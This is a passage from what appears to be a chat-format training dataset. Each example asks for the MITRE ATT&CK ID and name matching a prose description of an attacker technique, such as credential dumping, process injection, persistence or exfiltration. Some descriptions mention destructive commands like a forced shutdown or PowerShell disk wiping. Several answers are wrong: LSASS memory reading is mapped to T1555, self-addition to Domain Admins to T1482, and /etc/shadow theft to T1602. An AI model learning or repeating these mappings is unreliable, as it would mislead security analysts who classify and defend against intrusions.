                "role": "user",
                "content": "A credential harvesting module reads the Windows LSASS memory to retrieve password store entries."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor contaminates configuration files with random key-value pairs to avoid detection of malicious settings."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script queries the Registry key HKLM\\System\\CurrentControlSet\\Services to enumerate service configurations."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan modifies the registry to execute 'shutdown -s -t 0' on system startup, causing immediate shutdown."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the Outlook home page to a network location containing an executable that runs with the user's privileges on Outlook launch."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conceals a malicious payload inside the whitespace characters of a text file, which is later parsed by a vulnerable script."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes tampering with the \"ScreenSaveExecutable\" policy to point to a malicious executable, achieving persistence through event‑triggered screensaver execution."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alters HTTP response bodies in transit to inject malicious scripts before they reach the victim's browser."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate IAM policies in a GKE cluster to attach extra permissions to an existing attacker-controlled account."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider runs a script that spawns thousands of threads on a corporate workstation, overwhelming the CPU and causing a complete freeze."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors design a custom botnet client that uses encrypted communications over DNS tunneling."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a PDF attachment containing a malicious JavaScript payload, which runs when the user opens the file and steals credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of the dsadd command, the adversary established a one‑way outbound trust to a foreign domain to pivot into other networks."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses infected USB sticks to distribute ransomware across isolated networks."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the weakness in Windows name resolution by responding to LLMNR queries, harvesting credential hashes, and executing SMB relay attacks against file servers."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a rootkit to intercept authentication mechanisms, granting unauthorized elevated privileges without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modified a Group Policy Object to run a startup script that indirectly launches a malicious process during system boot."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a custom script to extract usernames and associated email addresses from the victim's exposed GitHub repositories."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the OS socket table to discover which processes have established network sessions."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a DLL as a Winlogon ‘Notify’ service to trigger execution during logon."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware spawns a new thread inside an existing process to run its payload."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .msi is placed on a shared drive, and when any user runs the installer, it executes an unauthorized credential dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses process hollowing to replace the memory of a legitimate process with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses port forwarding rules on a compromised router to bridge the network boundary and access internal hosts."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a PowerShell command that calls \"Clear-Disk\" with the -RemoveData flag to wipe disk structures."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user account was used to modify folder permissions, granting the attacker full control over the C:\\SensitiveData directory."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed a crafted SQL injection attack against a vulnerable e‑commerce site, extracting database credentials and installing a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign attempts to bypass security controls by directly invoking the Windows Native API, avoiding any user-mode API wrappers."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker clears the list of network share connections in the Windows Registry to obscure their lateral movement paths."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial dropper contacts a remote server over HTTPS to retrieve a second-stage payload that then installs the full ransomware suite."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate data by encoding it in DNS queries after compromising the DNS infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrated password hashes by reading the /etc/passwd and /etc/shadow files on compromised Linux hosts."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker wipes out evidence by revoking access to the SMB shares and unmounting them."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code installs a service that monitors USB insertion events, copies any new files, and exfiltrates them to a cloud endpoint."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code writes a portable executable into the address space of rundll32.exe via WriteProcessMemory and then triggers execution with QueueUserAPC."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT infection injects code into the memory of lsass.exe by allocating virtual memory via VirtualAllocEx and then writing the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder acquires a specialized data exfiltration utility by compromising a software supply chain vendor."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor issues a system call that returns details of all running processes for further analysis."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unauthorized tool reads plaintext credentials from backup archives or logs that were inadvertently stored."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a scheduled task to execute a PowerShell script that initiates further malicious activity indirectly."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the vDSO entry points, the attacker injects shellcode that runs with the privileges of the compromised process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code abuses a use‑after‑free vulnerability in a media player, causing the endpoint to reboot repeatedly and deny service."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a scheduled task that synchronizes the victim's email archives to a USB drive inserted nightly."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware obscures payload signatures by inserting junk data into the payload assembly."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a domain takeover to replace legitimate website content with malicious advertisements."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Exchange transport rules to automatically forward incoming mail to an off‑site account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses Google Maps street view to identify the physical layout and building entrances of a victim's data center."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised WordPress plugin drops a PHP web shell, which the attacker later uses to execute commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performs a man-in-the-browser attack on a banking portal, capturing user credentials during the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Standard encoding (e.g., Base64) is used to hide the content of a malicious PowerShell command."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before using a custom remote admin tool, the attacker wipes all timestamps and version info to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is persisted by registering a driver that is loaded by the LSASS service during boot."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a broken LDAP injection, the attacker modifies group memberships to add themselves to the Domain Admins group."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system ran a Python script that escalates privileges by exploiting a known CVE."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a compromised mobile device to run a payload on the host computer after breaking out of the device's isolation."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into installing a script that harvests the stored access token of a cloud service client."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan encrypts command‑and‑control messages with a custom rot‑13 variant and then base64‑encodes the result before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors distribute a phishing link through a Discord private message, directing victims to a malicious installer hosted on a compromised domain."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages Office's LoadBehavior registry value to force a malicious PowerPoint add‑in to load on startup."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device participates in a coordinated UDP flood targeting the victim’s critical infrastructure, overwhelming its network link."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses the victim’s web browser to upload exfiltrated data to a file‑sharing site, disguising traffic as normal user uploads."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a tool that sends crafted UDP packets to trigger NAT punch-through via symmetric NAT, establishing a bi-directional channel for command execution."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace functions in the Linux vDSO to execute malicious code within a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware uses a domain generation algorithm that incorporates the victim's IP address and a secret key to generate domain names for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed the DCSync command via Mimikatz to request account attribute data, including password hashes, from the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor extracted the contents of the /etc/passwd and /etc/shadow files, which are considered configuration repositories for user accounts."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized the compromised machine's Dropbox sync folder to stage a keylogger tool for later use."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of the undocumented NtCreateTransaction and NtRollbackTransaction calls, the actor executes code in a process without leaving traces on disk."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set gathers database dumps and posts them as raw text entries on a free online text‑sharing platform, bypassing traditional data loss prevention tools."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by installing a malicious Outlook add‑in that runs on every Outlook launch."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script alters the Linux PAM configuration to grant passwordless sudo access to a specific user account."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a scheduled task that runs a hidden PowerShell script every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware packs encrypted payloads and then applies Base64 encoding to hide the binary data within a JSON payload."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create fake profiles on Twitter and Facebook to covertly communicate with compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify an existing stored procedure to run PowerShell commands, allowing remote code execution on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary extracts service tickets for Kerberos-enabled accounts and performs offline password cracking to obtain the service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
